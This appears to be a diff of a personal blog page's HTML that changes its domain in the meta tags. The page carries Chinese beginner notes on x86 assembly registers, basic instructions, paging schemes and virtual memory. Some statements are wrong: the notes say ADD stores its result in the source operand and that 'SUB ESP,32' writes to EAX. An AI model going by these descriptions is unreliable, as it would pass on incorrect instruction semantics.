-物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/162/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="汇编基础学习笔记"><meta property="og:description" content="x86架构通用寄存器（32位的x86架构和64位的x86_64架构）
+物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/162/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="汇编基础学习笔记"><meta property="og:description" content="x86架构通用寄存器（32位的x86架构和64位的x86_64架构）
 x86_64架构由amd公司推出，因此又叫amd64架构，64位架构是基于32位架构扩展的
 32位架构的x86处理器具备8个32位的通用寄存器，可通过名称来引用这8个寄存器，分别为EAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI
 EAX的低16位可以被单独使用，引用名称叫AX（高位是左边位，低位是右边位），AX又可以被分为高8位的AH和低8位的AL
@@ -103,7 +103,7 @@
 x64架构，在PAE的基础上扩展了页表为4级，而且每个页面的大小是4096字节，高9位是页目录指针表，后9位是页目录指针，再后9位是页目录，然后9位是页表。最后12位是页内偏移量
 虚拟内存
 进程是以内存页面为单位向操作系统申请内存的，现代操作系统中会对申请的内存空间进行记录，并不会马上分配，而是等到该进程真正访问该内存空间是才会分配物理页面并且进行映射，然后恢复中断程序，如果进程访问了没有映射的内存空间，会被操作系统进行page fault处理，操作系统通过page failt handle进行检查内存空间分配记录
-物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/162/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-11-20T11:49:00+00:00"><meta property="article:modified_time" content="2022-11-20T11:49:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="汇编基础学习笔记"><meta name=twitter:description content="x86架构通用寄存器（32位的x86架构和64位的x86_64架构）
+物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/162/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-11-20T11:49:00+00:00"><meta property="article:modified_time" content="2022-11-20T11:49:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="汇编基础学习笔记"><meta name=twitter:description content="x86架构通用寄存器（32位的x86架构和64位的x86_64架构）
 x86_64架构由amd公司推出，因此又叫amd64架构，64位架构是基于32位架构扩展的
 32位架构的x86处理器具备8个32位的通用寄存器，可通过名称来引用这8个寄存器，分别为EAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI
 EAX的低16位可以被单独使用，引用名称叫AX（高位是左边位，低位是右边位），AX又可以被分为高8位的AH和低8位的AL
@@ -155,7 +155,7 @@
 x64架构，在PAE的基础上扩展了页表为4级，而且每个页面的大小是4096字节，高9位是页目录指针表，后9位是页目录指针，再后9位是页目录，然后9位是页表。最后12位是页内偏移量
 虚拟内存
 进程是以内存页面为单位向操作系统申请内存的，现代操作系统中会对申请的内存空间进行记录，并不会马上分配，而是等到该进程真正访问该内存空间是才会分配物理页面并且进行映射，然后恢复中断程序，如果进程访问了没有映射的内存空间，会被操作系统进行page fault处理，操作系统通过page failt handle进行检查内存空间分配记录
-物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"汇编基础学习笔记","item":"https://xiaochenabc123.github.io/posts/162/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"汇编基础学习笔记","name":"汇编基础学习笔记","description":"x86架构通用寄存器（32位的x86架构和64位的x86_64架构）\nx86_64架构由amd公司推出，因此又叫amd64架构，64位架构是基于32位架构扩展的\n32位架构的x86处理器具备8个32位的通用寄存器，可通过名称来引用这8个寄存器，分别为EAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI\nEAX的低16位可以被单独使用，引用名称叫AX（高位是左边位，低位是右边位），AX又可以被分为高8位的AH和低8位的AL\n实质上EAX，ECX，EDX，EBX都可以被拆开使用，ECX的低16位叫CX，CX又可以被分为高8位的CH和低8位的CL\nEDC的低16位叫DX，DX又可以被分为高8位的DH和低8位的DL，EBX的低16为叫BX，BX又可以被分为高8位的BH和低8位的BL\nESP，EBP，ESI，EDI的低16位也可以被单独使用，但是没有8位的，这低16位名称分别是SP，BP，SI，DI\nEAX寄存器被乘法和除法指令自动调用，因此又叫累加寄存器\nECX被LOOP（循环）指令调用为循环计数器\nESP被用于寻址栈上的数据，ESP始终指向栈顶，因此又叫栈指针寄存器\nESI和EDI又叫变址寄存器，变址寄存器引用的是内存地址，ESI指向内存源地址，EDI指向目的地址\nEBP叫帧指针寄存器，被用来引用栈上的函数参数和局部变量\n除了通用寄存器还有EFLAGS标志寄存器，EIP指针寄存器（这个非常重要，因为其引用的是下一条要被指向的指令的地址，注意：并不能直接通过名称来说调用，只能通过CALL之类的间接修改）等等\n64位架构（通用寄存器为16个，并且是64位的，而且每个都可以低8位，16位，32位单独使用）\nEAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI的64位是R开头的，其他和32位架构是一样的，64位架构的内存地址也是64位的\nx86汇编指令（通常是由一个操作码（opcode）和0到多个的操作数（operand）组成）\n整数加减指令（ADD指令（有2个操作数，分别是目的操作数和源操作数，ADD指向将这2个操作数的值相加，将结果存放在源操作数中，源操作数可以是寄存器，内存，目的操作数要满足可写条件，因此也可以是寄存器，内存，但是不能同为内存））和SUB指令（和ADD指令一样，但是是将结果存放在目的操作数中））\nADD指令：ADD EAX,32 （将EAX寄存器的值加上32，并且将结果存放回EAX寄存器中）\nSUB指令：SUB ESP,32 （将ESP寄存器的值减去32，并且将值存放回EAX寄存器中）\n数据传输指令（x86架构有多个数据传输指令，这里是MOV指令）\nMOV指令用于寄存器之间和寄存器和内存之间传输数据使用，MOV指令将源操作数复制到目的操作数中，例如MOV EDX, 666 （将数值666存储在EDX寄存器中）\nx86架构内存寻址：displacement（位移，可以在指令中直接得到内存的偏移量，也就是位移，这个位移表示距离操作数的直接偏移量），base（基址，内存地址存储在通用寄存器中），index（索引，注意ESP寄存器不能用于索引），scale（比例因子，用于索引相乘，是固定值，可取值1，2，4，8）\n内存最复杂的地址计算公式：base+（index*scale）+displacement\nbase和index，displacement都可以随意组合，也可以不存在，如果不使用index，就不需要使用scale了，scale只为index服务，index和scale被用于寻找数组地址和多维数组\n入栈和出栈指令（PUSH和POP指令）\nPUSH指令只有一个操作数，就是需要入栈的源操作数，这个指令可以将ESP寄存器向下移动一个位，并且将源操作数复制到ESP寄存器指向的内存处，例如：PUSH EAX\nPOP指令也是只有一个操作数，就是用来接收数据的目的操作数，POP指向会将ESP寄存器指向的内存处的值复制到目的操作数中，并且将ESP寄存器向上移动一个位置，例如：POP EAX\n分支跳转指令（JMP指令）\nJMP指令只有一个操作数，这个操作数可以是内存，寄存器或者立即数，通过这个操作数来给出需要跳转的目的地址，例如 JMP EAX\n过程调用指令（CALL指令）\n高级语言的函数在汇编叫过程，CALL指令只有一个操作数，是过程的起始地址，例如 CALL EAX\n分支跳转指令和过程调用指令的区别是，分支跳转指令不会记录返回地址，这个返回地址是CALL指令之后的下一条指令的地址，CALL指令会将返回地址入栈，然后跳转到目的地址执行\n子过程执行完成通过RET指令返回，RET指令会在栈上弹出返回地址，并且跳转到该返回地址上继续执行\n内存分页机制\n线性地址\n在内存分页模式中，应用使用的地址就叫线性地址，由MMU(menorymanagement unit)基于页表来映射转换为物理地址\n在内存分页模式未出现之前，应用是直接访问物理内存的，应用具备读写全部物理内存的权限，因此可能会覆盖其他应用的数据，而80386架构出现，出现了保护模式，使用内存分页来通过特权级和进程地址空间来进行隔离\n进程地址空间隔离是通过进程独立性页表来完成的，每个进程实现的地址空间是不同的，避免影响到其他进程\n80386两级页表\n80386架构的线性地址为32位，因此可寻4GB大小的内存空间（4096），地址总线也是32位，因此也是只能寻找4gb大小的物理内存，而且分页机制也将每个物理内存的页面的大小设为4096字节\n一个页面大小为4096字节，地址总线为32位，因此一个页面可存储1024个物理页面地址，80386页表的第一页面是目录页面，物理内存地址存储在CR3寄存器中，可通过该目录页面来查找第二页面的1024个物理页面地址\nMMU将32位的线性地址，低12位是页内偏移，然后的低10位是页表的索引，最后的高10位是页面目录索引，页内偏移的取值范围为0到4095，页表索引和页面目录索引的取值范围为0到1023\n80386线性地址转换到物理地址的过程：先从CR3寄存器中获取页目录的物理地址，然后选择一个页表，在到页表索引中，找到页面的物理地址，最后通过页内偏移量来得到实质上的物理地址\nPAE三级页表\n80386架构的每个进程可使用4gb的线性地址空间，但是操作系统会将4gb的地址空间划分成用户空间和内核空间，为了解决内存空间不够使用，英特尔公司推出了物理地址扩展技术（PAE，PhysicalAddressExtension）\nPAE将地址总线扩展到36位，因此可寻找64gb的物理内存，但是线性地址依然是32位的，为了解决32位线性地址支持36位的物理地址映射，MMU页表映射机制进行了调整，一个页面只能存储512个地址\nPAE的32位线性地址是，高2位是页目录指针索引，后面9位是页目录索引，再后9位是页表索引，最后12位是页内偏移\nx64四级页表\n因为PAE技术并没有扩展线性空间，32位的地址宽度不够使用了，AMD公司基于x86架构扩展而出的x64架构，x64架构的寄存器宽度是64位的，但是线性地址只使用了48位，但是也足够了，因为可以寻高达256TB的内存空间地址，具体可寻多少物理内存空间，取决于地址总线的宽度\nx64架构，在PAE的基础上扩展了页表为4级，而且每个页面的大小是4096字节，高9位是页目录指针表，后9位是页目录指针，再后9位是页目录，然后9位是页表。最后12位是页内偏移量\n虚拟内存\n进程是以内存页面为单位向操作系统申请内存的，现代操作系统中会对申请的内存空间进行记录，并不会马上分配，而是等到该进程真正访问该内存空间是才会分配物理页面并且进行映射，然后恢复中断程序，如果进程访问了没有映射的内存空间，会被操作系统进行page fault处理，操作系统通过page failt handle进行检查内存空间分配记录\n物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中","keywords":["汇编"],"articleBody":"x86架构通用寄存器（32位的x86架构和64位的x86_64架构）\nx86_64架构由amd公司推出，因此又叫amd64架构，64位架构是基于32位架构扩展的\n32位架构的x86处理器具备8个32位的通用寄存器，可通过名称来引用这8个寄存器，分别为EAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI\nEAX的低16位可以被单独使用，引用名称叫AX（高位是左边位，低位是右边位），AX又可以被分为高8位的AH和低8位的AL\n实质上EAX，ECX，EDX，EBX都可以被拆开使用，ECX的低16位叫CX，CX又可以被分为高8位的CH和低8位的CL\nEDC的低16位叫DX，DX又可以被分为高8位的DH和低8位的DL，EBX的低16为叫BX，BX又可以被分为高8位的BH和低8位的BL\nESP，EBP，ESI，EDI的低16位也可以被单独使用，但是没有8位的，这低16位名称分别是SP，BP，SI，DI\nEAX寄存器被乘法和除法指令自动调用，因此又叫累加寄存器\nECX被LOOP（循环）指令调用为循环计数器\nESP被用于寻址栈上的数据，ESP始终指向栈顶，因此又叫栈指针寄存器\nESI和EDI又叫变址寄存器，变址寄存器引用的是内存地址，ESI指向内存源地址，EDI指向目的地址\nEBP叫帧指针寄存器，被用来引用栈上的函数参数和局部变量\n除了通用寄存器还有EFLAGS标志寄存器，EIP指针寄存器（这个非常重要，因为其引用的是下一条要被指向的指令的地址，注意：并不能直接通过名称来说调用，只能通过CALL之类的间接修改）等等\n64位架构（通用寄存器为16个，并且是64位的，而且每个都可以低8位，16位，32位单独使用）\nEAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI的64位是R开头的，其他和32位架构是一样的，64位架构的内存地址也是64位的\nx86汇编指令（通常是由一个操作码（opcode）和0到多个的操作数（operand）组成）\n整数加减指令（ADD指令（有2个操作数，分别是目的操作数和源操作数，ADD指向将这2个操作数的值相加，将结果存放在源操作数中，源操作数可以是寄存器，内存，目的操作数要满足可写条件，因此也可以是寄存器，内存，但是不能同为内存））和SUB指令（和ADD指令一样，但是是将结果存放在目的操作数中））\nADD指令：ADD EAX,32 （将EAX寄存器的值加上32，并且将结果存放回EAX寄存器中）\nSUB指令：SUB ESP,32 （将ESP寄存器的值减去32，并且将值存放回EAX寄存器中）\n数据传输指令（x86架构有多个数据传输指令，这里是MOV指令）\nMOV指令用于寄存器之间和寄存器和内存之间传输数据使用，MOV指令将源操作数复制到目的操作数中，例如MOV EDX, 666 （将数值666存储在EDX寄存器中）\nx86架构内存寻址：displacement（位移，可以在指令中直接得到内存的偏移量，也就是位移，这个位移表示距离操作数的直接偏移量），base（基址，内存地址存储在通用寄存器中），index（索引，注意ESP寄存器不能用于索引），scale（比例因子，用于索引相乘，是固定值，可取值1，2，4，8）\n内存最复杂的地址计算公式：base+（index*scale）+displacement\nbase和index，displacement都可以随意组合，也可以不存在，如果不使用index，就不需要使用scale了，scale只为index服务，index和scale被用于寻找数组地址和多维数组\n入栈和出栈指令（PUSH和POP指令）\nPUSH指令只有一个操作数，就是需要入栈的源操作数，这个指令可以将ESP寄存器向下移动一个位，并且将源操作数复制到ESP寄存器指向的内存处，例如：PUSH EAX\nPOP指令也是只有一个操作数，就是用来接收数据的目的操作数，POP指向会将ESP寄存器指向的内存处的值复制到目的操作数中，并且将ESP寄存器向上移动一个位置，例如：POP EAX\n分支跳转指令（JMP指令）\nJMP指令只有一个操作数，这个操作数可以是内存，寄存器或者立即数，通过这个操作数来给出需要跳转的目的地址，例如 JMP EAX\n过程调用指令（CALL指令）\n高级语言的函数在汇编叫过程，CALL指令只有一个操作数，是过程的起始地址，例如 CALL EAX\n分支跳转指令和过程调用指令的区别是，分支跳转指令不会记录返回地址，这个返回地址是CALL指令之后的下一条指令的地址，CALL指令会将返回地址入栈，然后跳转到目的地址执行\n子过程执行完成通过RET指令返回，RET指令会在栈上弹出返回地址，并且跳转到该返回地址上继续执行\n内存分页机制\n线性地址\n在内存分页模式中，应用使用的地址就叫线性地址，由MMU(menorymanagement unit)基于页表来映射转换为物理地址\n在内存分页模式未出现之前，应用是直接访问物理内存的，应用具备读写全部物理内存的权限，因此可能会覆盖其他应用的数据，而80386架构出现，出现了保护模式，使用内存分页来通过特权级和进程地址空间来进行隔离\n进程地址空间隔离是通过进程独立性页表来完成的，每个进程实现的地址空间是不同的，避免影响到其他进程\n80386两级页表\n80386架构的线性地址为32位，因此可寻4GB大小的内存空间（4096），地址总线也是32位，因此也是只能寻找4gb大小的物理内存，而且分页机制也将每个物理内存的页面的大小设为4096字节\n一个页面大小为4096字节，地址总线为32位，因此一个页面可存储1024个物理页面地址，80386页表的第一页面是目录页面，物理内存地址存储在CR3寄存器中，可通过该目录页面来查找第二页面的1024个物理页面地址\nMMU将32位的线性地址，低12位是页内偏移，然后的低10位是页表的索引，最后的高10位是页面目录索引，页内偏移的取值范围为0到4095，页表索引和页面目录索引的取值范围为0到1023\n80386线性地址转换到物理地址的过程：先从CR3寄存器中获取页目录的物理地址，然后选择一个页表，在到页表索引中，找到页面的物理地址，最后通过页内偏移量来得到实质上的物理地址\nPAE三级页表\n80386架构的每个进程可使用4gb的线性地址空间，但是操作系统会将4gb的地址空间划分成用户空间和内核空间，为了解决内存空间不够使用，英特尔公司推出了物理地址扩展技术（PAE，PhysicalAddressExtension）\nPAE将地址总线扩展到36位，因此可寻找64gb的物理内存，但是线性地址依然是32位的，为了解决32位线性地址支持36位的物理地址映射，MMU页表映射机制进行了调整，一个页面只能存储512个地址\nPAE的32位线性地址是，高2位是页目录指针索引，后面9位是页目录索引，再后9位是页表索引，最后12位是页内偏移\nx64四级页表\n因为PAE技术并没有扩展线性空间，32位的地址宽度不够使用了，AMD公司基于x86架构扩展而出的x64架构，x64架构的寄存器宽度是64位的，但是线性地址只使用了48位，但是也足够了，因为可以寻高达256TB的内存空间地址，具体可寻多少物理内存空间，取决于地址总线的宽度\nx64架构，在PAE的基础上扩展了页表为4级，而且每个页面的大小是4096字节，高9位是页目录指针表，后9位是页目录指针，再后9位是页目录，然后9位是页表。最后12位是页内偏移量\n虚拟内存\n进程是以内存页面为单位向操作系统申请内存的，现代操作系统中会对申请的内存空间进行记录，并不会马上分配，而是等到该进程真正访问该内存空间是才会分配物理页面并且进行映射，然后恢复中断程序，如果进程访问了没有映射的内存空间，会被操作系统进行page fault处理，操作系统通过page failt handle进行检查内存空间分配记录\n物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中\n虚拟内存并不是万金油，触发虚拟内存的条件是物理空间不够分配时\n","wordCount":"74","inLanguage":"en","datePublished":"2022-11-20T11:49:00Z","dateModified":"2022-11-20T11:49:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/162/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>汇编基础学习笔记</h1><div class=post-meta><span title='2022-11-20 11:49:00 +0000 UTC'>2022-11-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e6%b1%87%e7%bc%96%e5%9f%ba%e7%a1%80%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>x86架构通用寄存器（32位的x86架构和64位的x86_64架构）</p><p>x86_64架构由amd公司推出，因此又叫amd64架构，64位架构是基于32位架构扩展的</p><p>32位架构的x86处理器具备8个32位的通用寄存器，可通过名称来引用这8个寄存器，分别为EAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI</p><p>EAX的低16位可以被单独使用，引用名称叫AX（高位是左边位，低位是右边位），AX又可以被分为高8位的AH和低8位的AL</p><p>实质上EAX，ECX，EDX，EBX都可以被拆开使用，ECX的低16位叫CX，CX又可以被分为高8位的CH和低8位的CL</p><p>EDC的低16位叫DX，DX又可以被分为高8位的DH和低8位的DL，EBX的低16为叫BX，BX又可以被分为高8位的BH和低8位的BL</p><p>ESP，EBP，ESI，EDI的低16位也可以被单独使用，但是没有8位的，这低16位名称分别是SP，BP，SI，DI</p><p>EAX寄存器被乘法和除法指令自动调用，因此又叫累加寄存器</p><p>ECX被LOOP（循环）指令调用为循环计数器</p><p>ESP被用于寻址栈上的数据，ESP始终指向栈顶，因此又叫栈指针寄存器</p><p>ESI和EDI又叫变址寄存器，变址寄存器引用的是内存地址，ESI指向内存源地址，EDI指向目的地址</p><p>EBP叫帧指针寄存器，被用来引用栈上的函数参数和局部变量</p><p>除了通用寄存器还有EFLAGS标志寄存器，EIP指针寄存器（这个非常重要，因为其引用的是下一条要被指向的指令的地址，注意：并不能直接通过名称来说调用，只能通过CALL之类的间接修改）等等</p><p>64位架构（通用寄存器为16个，并且是64位的，而且每个都可以低8位，16位，32位单独使用）</p><p>EAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI的64位是R开头的，其他和32位架构是一样的，64位架构的内存地址也是64位的</p><p>x86汇编指令（通常是由一个操作码（opcode）和0到多个的操作数（operand）组成）</p><p>整数加减指令（ADD指令（有2个操作数，分别是目的操作数和源操作数，ADD指向将这2个操作数的值相加，将结果存放在源操作数中，源操作数可以是寄存器，内存，目的操作数要满足可写条件，因此也可以是寄存器，内存，但是不能同为内存））和SUB指令（和ADD指令一样，但是是将结果存放在目的操作数中））</p><p>ADD指令：ADD EAX,32 （将EAX寄存器的值加上32，并且将结果存放回EAX寄存器中）</p><p>SUB指令：SUB ESP,32 （将ESP寄存器的值减去32，并且将值存放回EAX寄存器中）</p><p>数据传输指令（x86架构有多个数据传输指令，这里是MOV指令）</p><p>MOV指令用于寄存器之间和寄存器和内存之间传输数据使用，MOV指令将源操作数复制到目的操作数中，例如MOV EDX, 666 （将数值666存储在EDX寄存器中）</p><p>x86架构内存寻址：displacement（位移，可以在指令中直接得到内存的偏移量，也就是位移，这个位移表示距离操作数的直接偏移量），base（基址，内存地址存储在通用寄存器中），index（索引，注意ESP寄存器不能用于索引），scale（比例因子，用于索引相乘，是固定值，可取值1，2，4，8）</p><p>内存最复杂的地址计算公式：base+（index*scale）+displacement</p><p>base和index，displacement都可以随意组合，也可以不存在，如果不使用index，就不需要使用scale了，scale只为index服务，index和scale被用于寻找数组地址和多维数组</p><p>入栈和出栈指令（PUSH和POP指令）</p><p>PUSH指令只有一个操作数，就是需要入栈的源操作数，这个指令可以将ESP寄存器向下移动一个位，并且将源操作数复制到ESP寄存器指向的内存处，例如：PUSH EAX</p><p>POP指令也是只有一个操作数，就是用来接收数据的目的操作数，POP指向会将ESP寄存器指向的内存处的值复制到目的操作数中，并且将ESP寄存器向上移动一个位置，例如：POP EAX</p><p>分支跳转指令（JMP指令）</p><p>JMP指令只有一个操作数，这个操作数可以是内存，寄存器或者立即数，通过这个操作数来给出需要跳转的目的地址，例如 JMP EAX</p><p>过程调用指令（CALL指令）</p><p>高级语言的函数在汇编叫过程，CALL指令只有一个操作数，是过程的起始地址，例如 CALL 